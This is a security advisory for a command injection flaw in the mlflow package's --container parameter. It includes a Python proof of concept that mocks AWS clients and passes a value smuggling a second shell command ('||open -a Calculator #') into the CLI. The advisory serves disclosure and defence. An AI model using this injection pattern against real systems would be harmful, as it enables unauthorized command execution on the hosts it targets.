Command Injection Affecting mlflow package, versions [,3.8.0rc0)

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Command Injection via the --container parameter. An attacker can execute unauthorized commands by supplying specially crafted input that is not properly sanitized.

Note:

This is only exploitable if the attacker has shell access to the system.

#!/usr/bin/env python
"""
This POC only mocks Google accounts; the rest imitates the real environment.
"""
import sys
import os
from unittest.mock import patch, MagicMock

# Set command line arguments
sys.argv = [
    'mlflow',
    'sagemaker',
    'build-and-push-container',
    '--container', 'my-sm-image:1.0||open -a Calculator #',
    '--no-build',
    '--push'
]

# Create comprehensive mocks
class MockSTSClient:
    def get_caller_identity(self):
        return {'Account': '123456789012'}

class MockECRClient:
    def describe_repositories(self, **kwargs):
        return {
            'repositories': [{
                'repositoryUri': '123456789012.dkr.ecr.us-west-2.amazonaws.com/mlflow-pyfunc'
            }]
        }

    def create_repository(self, **kwargs):
        return {'repository': {'repositoryUri': '123456789012.dkr.ecr.us-west-2.amazonaws.com/mlflow-pyfunc'}}

class MockSession:
    region_name = 'us-west-2'

def mock_boto3_client(service_name, **kwargs):
    if service_name == 'sts':
        return MockSTSClient()
    elif service_name == 'ecr':
        return MockECRClient()
    return MagicMock()

def mock_boto3_session(**kwargs):
    return MockSession()

# Patch boto3 before importing mlflow
with patch('boto3.client', side_effect=mock_boto3_client):
    with patch('boto3.session.Session', return_value=MockSession()):
        print(f"\n[*] AWS boto3 mocked successfully")
        print(f"[*] Starting MLflow CLI...\n")

        # Import and run CLI
        from mlflow.cli import cli
        try:
            cli()
        except SystemExit:
            pass
        except Exception as e:
            print(f"\n[!] Exception: {e}")
            import traceback
            traceback.print_exc()

• GitHub Commit
• GitHub PR
• Red Hat Bugzilla Bug